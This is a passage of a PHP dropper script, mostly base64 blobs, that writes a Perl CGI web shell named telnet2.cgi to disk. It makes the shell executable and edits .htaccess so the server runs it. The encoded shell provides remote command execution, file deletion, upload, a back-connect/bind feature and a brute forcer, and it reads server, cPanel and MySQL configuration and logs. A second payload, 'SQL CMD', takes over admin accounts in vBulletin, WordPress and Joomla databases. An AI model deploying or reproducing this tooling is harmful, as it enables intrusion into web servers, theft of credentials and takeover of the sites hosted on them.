bSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1 cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1v dmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0i LiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJ CQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFt ZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7 CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jh c2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRm OwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFz cz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIu JGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFy c2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4m RmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18k aScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygk ZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmls ZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0 ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEg b25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJl bmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwv YT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsg cmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVt b3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRp Kys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0 Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9l dGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2Ug ZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9 J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+ PC9oMz4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNz IGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQg Lj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+ PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/ em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5v dGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsK CQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49 ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4n IiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3Ry Pic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3Vi IFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJ aWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRh bmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9 CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+ PC90cj4iOwoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cn LAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwv YXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLAoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywK CQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9n cy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJ Jy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVs L2xvZ3MnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Vzci9s b2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mv ZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLAoJCQkn L3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwv bG9ncy9zdGF0c19sb2cnLAoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsCgkJCScvdXNy L2xvY2FsL3BocC9saWIvcGhwLmluaScsCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmkn LAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC5s b2cnLAoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215 c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsCgkJCScvdmFyL215 c3FsLmxvZycsCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teXNxbC9teS5j bmYnLAoJCQknL2V0Yy9teS5jbmYnLAoJCQkpOwoJbXkgJGk9MDsKCW15ICRwZXJtczsKCW15ICRz bDsKCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpCgl7CgkJaWYoLXIgJGxvZykKCQl7CgkJCSRw ZXJtcz0iT0siOwoJCX1lbHNlCgkJewoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVk Oyc+Q2FuY2VsPGZvbnQ+IjsKCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3Jt IGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4KCQkJ PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0x MDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQg Y2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1 dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPgoJCQk8aW5wdXQgdHlw ZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+CgkJCTwvZm9y bT4KCQkJPHRkPiRwZXJtczwvdGQ+CgoJCTwvdHI+CkVORAoJCSRpKys7Cgl9CgkkcmVzdWx0IC49 IjwvdGFibGU+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBN YWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQ VF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dv cmQgPSAkaW57J3AnfTsKJFJ1bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsKJFRy YW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlu eydhJ307CgokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlv biBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRo ZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRl Y29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBu ZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBp ZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigk Q3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAk UGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIg bmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJn dWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcigiZCIpOwoJaWYoISRXaW5O VCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoJGNobW9kIG5lIDApCgkJewoJ CQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2Vw LiRUcmFuc2ZlckZpbGU7CgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpCgkJCXsKCQkJCXByaW50 ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+ IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQoJCX0K CX0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsKCWlmKCRyZW5hbWUgbmUgIiIpCgl7CgkJaWYocmVu YW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9y dW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2 ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9 OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVt b3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1 bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9 ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lv bnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lm KCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5k CnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNp ZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJ JlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkp Cgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAi PHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJ cHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3 YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZV cGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRz IHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50 cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIi KSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXBy aW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNl ciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lm KCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxl CnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVx ICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4K ewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfWVsc2lmKCRBY3Rp b24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9n b3V0Owp9CiZQcmludFBhZ2VGb290ZXI7Cgo='; file_put_contents('telnet2.cgi',base64_decode($fileencode1)); echo "Here telnet2.cgi
"; #fwrite($nEx,base64_decode($fileencode)); #fwrite($fileencode1) #fclose($nEx); chmod('perl.nEx',0755); chmod('telnet2.cgi',0755); $htaccess = fopen('.htaccess','a+'); fwrite($htaccess,"AddHandler cgi-script .nEx"); fclose($htaccess); # inject Database }elseif($_POST[tool]=='inject'){ $data = 'inject'; mkdir('inject'); chdir('inject'); $injec = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFs Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25h bC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+Cjw/Ci8q LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tKlwKfCAqKioqKioqKioqKiogICAgICAgIFNRTF9DTUQgMy4wIGJ5IGFsLXN3aXNy ZSAgICAgICAgICAgKioqKioqKioqKip8CistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCAgICAgICAgICAgICAgICAgICA/ Pz8/ID8/Pz8/ID8/Pz8/PyA/PyBhbC1zd2lzcmUgICAgICAgICAgICAgICB8CnwgICAgICAgICAg ICAgICAgICAgICAgICAgICAgb3kzQGhvdG1haWwuY29tICAgICAgICAgICAgICAgICAgICB8Cnwg ICAgICAgICAgICAgICAgICAgICAgICAgICBDb3B5cmlnaHQgPzIwMTEgLiAgICAgICAgICAgICAg ICAgIHwKXCotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLSovCj8+CjxoZWFkPgo8dGl0bGU+U1FMIENNRCAzLjAgfCBhbC1zd2lzcmU8L3Rp dGxlPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50PXR5cGUiICBjb250ZW50PSJ0ZXh0L2h0bWw7 IGNoYXJzZXQ9dXRmLTgiIC8+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CgogIGh0bWwsYm9keSB7 CiAgICAgbWFyZ2luOiAwOwogICAgIHBhZGRpbmc6IDA7CiAgICAgb3V0bGluZTogMDsKfQoKCmJv ZHkgewogICAgZGlyZWN0aW9uOiBydGw7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwoJY29s b3I6ICNjY2NjY2M7CiAgICAgfQoKaW5wdXQsdGV4dGFyZWEsc2VsZWN0ewpmb250LXdlaWdodDog Ym9sZDsKY29sb3I6ICNjY2NjY2M7CmRhc2hlZCAjZmZmZmZmOwpib3JkZXI6IDFweApzb2xpZCAj MkMyQzJDOwpiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4Cn0KCgouYWxsCnsKICBtYXJnaW4tbGVm dDogYXV0bzsKICBtYXJnaW4tcmlnaHQ6IGF1dG87CiAgd2lkdGg6IDYwJTsKICBib3gtc2hhZG93 OiAwcHggMHB4IDRweCAjODg4ODg4OwogIGRpcmVjdGlvbjogbHRyOwoKfQouaGRyewogIGZvbnQt ZmFtaWx5OlRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgZm9udC1zaXplOiAyN3B4OwogIGNv bG9yOiNCQkJCQkI7CiAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgdGV4dC1hbGlnbjogY2VudGVyOwp9 Ci5jb217CgogIGZvbnQtc2l6ZTogMThweDsKICBmb250LWZhbWlseTpUYWhvbWEsIEFyaWFsLCBz YW5zLXNlcmlmOwogIGNvbG9yOiAjQkJCQkJCOwogIHRleHQtc2hhZG93OiAjRkYwMDAwOwp9Cgou Zm90ZXJ7CiAgZm9udC1zaXplOiA5cHQ7CiAgY29sb3I6ICAjNDQ0NDQ0IDsKICB0ZXh0LWFsaWdu OiBjZW50ZXIKfQojZHJwewogIHdpZHRoOjE1MHB4OwogIHBvc2l0aW9uOiBhYnNvbHV0ZTsKCiAg ZmxvYXQ6IG5vbmU7Cgp9CgoKI3Jva3sKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgcGFkZGlu ZyA6IDRweDsKICBsaXN0LXN0eWxlOiBub25lOwogIGZsb2F0OiBsZWZ0Owp9CiNyb2sgYXsKICB0 ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgY29sb3I6ICNjY2NjY2M7CiAgZm9udC1zaXplOiAxMHB0 OwogIG1hcmdpbi1sZWZ0OiAycHg7CiAgbGlzdC1zdHlsZTogbm9uZTsKICBwYWRkaW5nIDogNHB4 OwoKfQoubnZicnsKICBib3JkZXItdG9wOiAxcHggIzIyMjIyMiBkYXNoZWQ7CiAgaGVpZ2h0OiAz M3B4OwogIGJhY2tncm91bmQ6ICMwMDAwMDA7CiAgYm9yZGVyLWJvdHRvbTogMXB4ICMyMjIyMjIg ZGFzaGVkOwogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmIDsKICBmb250 LXdlaWdodDogYm9sZDsKfQoKLm52YnIgdWx7CiBsaXN0LXN0eWxlOiBub25lOwogbWFyZ2luOiAw OwogcGFkZGluZzogMDsKCn0KCi5udmJyIHVsIGxpewogIGZsb2F0OiBsZWZ0OwoKfQoKLm52YnIg dWwgbGkgYXsKIGRpc3BsYXk6IGJsb2NrOwogdGV4dC1kZWNvcmF0aW9uOiBub25lOwogcGFkZGlu ZzogMTBweCA5cHggMTBweCA5cHg7CiAgY29sb3I6ICM5OTk5OTkgICA7CiAgZm9udC1zaXplOiAx MnB4Owp9CgoubnZiciB1bCBsaSBhOmhvdmVyewogY29sb3I6ICNGRkZGRkY7CiBib3gtc2hhZG93 OiAwcHggMHB4IDNweCAjY2NjY2NjIDsKIHRleHQtc2hhZG93OiAwcHggMHB4IDNweCAjRkZGRkZG Owp9CgojZHJwewogbGlzdC1zdHlsZTogbm9uZTsKIGRpcmVjdGlvbjogbHRyOwogIHdpZHRoOjE1 MHB4OwogIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICBkaXNwbGF5OiBub25lOwogIGJvcmRlci1ib3R0 b206c29saWQgMXB4ICMyMjIyMjI7CiAgYm9yZGVyLWxlZnQ6IHNvbGlkIDFweCAjMjIyMjIyOwog IGJvcmRlci1yaWdodDogc29saWQgMXB4ICMyMjIyMjI7Cn0KCiNkcnB7CiAgZmxvYXQ6IG5vbmU7 Cn0KCiNyb2s6aG92ZXIgI2RycHsKIGRpc3BsYXk6IGJsb2NrOwogYmFja2dyb3VuZDogIzAwMDAw MDsKIH0KIC50Ym17CiBmb250LXNpemU6IDE0cHg7Cn0KCi50Ym0gdHIgdGR7CiBib3JkZXI6IGRh c2hlZCAxcHggIzExMTExMTsKCn0KCgoKCgo8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keT4KPGJyIC8+ CjxkaXYgY2xhc3M9ImFsbCIgPgoKPGJyIC8+PGRpdiBjbGFzcz0iaGRyIj5TUUwgQ01EIDMuMDwv ZGl2PjxiciAvPgo8P3BocAokcGVhZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKCmVjaG8nCjxkaXYg Y2xhc3M9Im52YnIiPgogPHVsPgogPGxpPjxhIGhyZWY9IicuJHBlYWcuJyI+U1FMIENNRDwvYT4K CiA8L2xpPgogPC91bD4KCiA8dWw+CiA8bGkgaWQ9InJvayI+PGEgaHJlZj0iIj52QnVsbGV0aW48 L2E+CgogPGRpdiBpZD0iZHJwIj4KIDx1bD48YSBocmVmPSI/c3dzPTEiID5JbmplY3QgaW5kZXg8 L2E+IDwvdWw+CiA8dWw+PGEgaHJlZj0iP3N3cz00IiA+SW5qZWN0IGZhcTwvYT4gPC91bD4KIDx1 bD48YSBocmVmPSI/c3dzPTUiID5JbmplY3QgY2FsZW5kYXI8L2E+IDwvdWw+CiA8dWw+PGEgaHJl Zj0iP3N3cz02IiA+SW5qZWN0IHNlYXJjaDwvYT4gPC91bD4KIDx1bD48YSBocmVmPSI/c3dzPTci ID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+CiA8L2Rpdj4KCiA8L2xpPgogPC91bD4KCiAgPC91bD4K CiA8dWw+CiA8bGkgaWQ9InJvayI+PGEgaHJlZj0iIj5Xb3JkUHJlc3M8L2E+CgogPGRpdiBpZD0i ZHJwIj4KIDx1bD48YSBocmVmPSI/c3dzPTIiID5DaGFuZ2UgYWRtaW48L2E+IDwvdWw+CiA8dWw+ PGEgaHJlZj0iP3N3cz04IiA+c2hvdyBtZW1iZXJzPC9hPiA8L3VsPgogPC9kaXY+CgogPC9saT4K IDwvdWw+CgogIDx1bD4KIDxsaSBpZD0icm9rIj48YSBocmVmPSIiPkpvb21sYTwvYT4KCiA8ZGl2 IGlkPSJkcnAiPgogPHVsPjxhIGhyZWY9Ij9zd3M9MyIgPkNoYW5nZSBhZG1pbjwvYT4gPC91bD4K IDx1bD48YSBocmVmPSI/c3dzPTkiID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+CiA8L2Rpdj4KCiA8 L2xpPgogPC91bD4KCjwvZGl2Pic7Cj8+Cgo8P3BocAoKCiRzaGVsbCA9ICJiVkRQUzhNd0ZMNEwv Zyt2WVpBV2RQUGlhVXYxNGtBUUZLcW5VVXFhcGpTWU5LRkp4Q243MzIyYWJnemNJZkR5dmwrUDcv cUtzMDREM3RTNXNKOTZNTUo5YitvaER3OHZUV2NxMzFQRjAyeUpwL1dxenZFYVprMnJCd1dVT2FG N2doQW83anJkRUdTMGRRaDR6OXplY0lLVWwwNFlPcmhWNE44MjFGRUV3WlFnYjZTbURSOFFpT2Jz ZHhZaGV1TWRSS05XU0g1VXh0bUtuM0crdjBQNVRJeGdOVHFoV1dSOXJZU0xBWEgvUmFVZmdZOHBi VlJPWjRWSTBhYXdxTjVlaS9jZERsUmNBaUZ3SkVJR3Y0SHl5TFRacDR0cSsvenlWT3h3T0FTWE8r eVVxVUk2TG0vZ0h4aUJMRGljNm82MlVIakd1TFdRSkVrbzk5VDlHZzdBcGVVWEpGc3E1RVgrQVI3 eVB3PT0iIDsKCmlmKGlzc2V0KCRfUkVRVUVTVFsnc3dzJ10pKQp7Cgpzd2l0Y2ggKCRfUkVRVUVT VFsnc3dzJ10pCnsKCmNhc2UgMToKCmVjaG8gJwoKPGRpdiBjbGFzcz0iY29tIj4KPGZvcm0gbWV0 aG9kPSJwb3N0Ij4KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0i MzUlIiBjbGFzcz0idGFiIj4KIDxiciAvPgoKPHRyIj4KICAgICA8dGQ+SG9zdCA6PC90ZD4KICAg ICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+ PC90ZD4KPC90cj4KCjx0ciAiPgogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+CiAgICAgPHRkPjxp bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+CjwvdHI+Cgo8dHI+CiAgICAgPHRk 